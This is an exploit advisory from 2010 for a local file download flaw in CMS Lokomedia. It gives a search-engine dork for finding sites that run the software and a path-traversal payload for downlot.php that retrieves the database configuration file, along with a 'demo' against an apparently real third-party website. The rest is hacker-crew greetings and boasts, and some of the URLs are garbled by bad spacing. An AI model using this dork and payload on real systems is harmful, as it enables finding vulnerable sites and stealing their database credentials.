CMS Loko Media local file download Defect

[!] ========================================================== ========================================== [!]

[~] CMS Lokomedia Local File Download Vulnerability
[~] Author: Xr0b0t (xrt.interpol@gmx.us)
[~] Homepage: http://www.indonesiancoder.com | http://xrobot.mobi | http://mc-crew.net
[~] Date: 16 Mei, 2010

[!] ========================================================== ========================================== [!]

[Software Information]

[+] Vendor: http://bukulokomedia.com/home
[+] Price: free
[+] Vulnerability: LFD
[+] Dork: inurl: "*. php? File = ";)
[+] Version: all version

[!] ========================================================== ========================================== [!]

[Vulnerable File]
Http: // 127.0.0.1/path/downlot. php? File = [LFD]

 

[XpL]

Http: // 127.0.0.1/path/downlot. php? File = ../config/koneksi. php

 

[D3m0]

Http://www.saifulisnandar.web.id/downlot.php? File = ../config/koneksi. php

Etc;]

[!] ========================================================== ========================================== [!]

[Thx TO]

[+] Don Tukulesto DUDUl Kok G rene2...
[+] Indonesian coder team IndonesianHacker Malang CYber CREW Magelang Cyber
[+] Tukulesto, M3NW5, arianom, N4CK0, abah_benu, d0ntcry, bobyhikaru, gonzhack, senot
[+] Contrex, YadoY666, yasea, bugs, Ronz, Pathloader, cimpli, MarahMerah. IBL13Z, r3m1ck
[+] Coracore, Gh4mb4s, Jack-, VycOd, m0rgue, otong, CS-31, Yur4kha, Geni212

[NOTE]

[+] OJOK JOTOS2an YO ..
[+] Minggir semua Arumbia Team Mau LEwat ;)
[+] MBEM: lup u: ">

[QUOTE]

[+] INDONESIANCODER still r0x...
[+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat ..
[+] Malang Cyber Crew & Magelang Cyber Community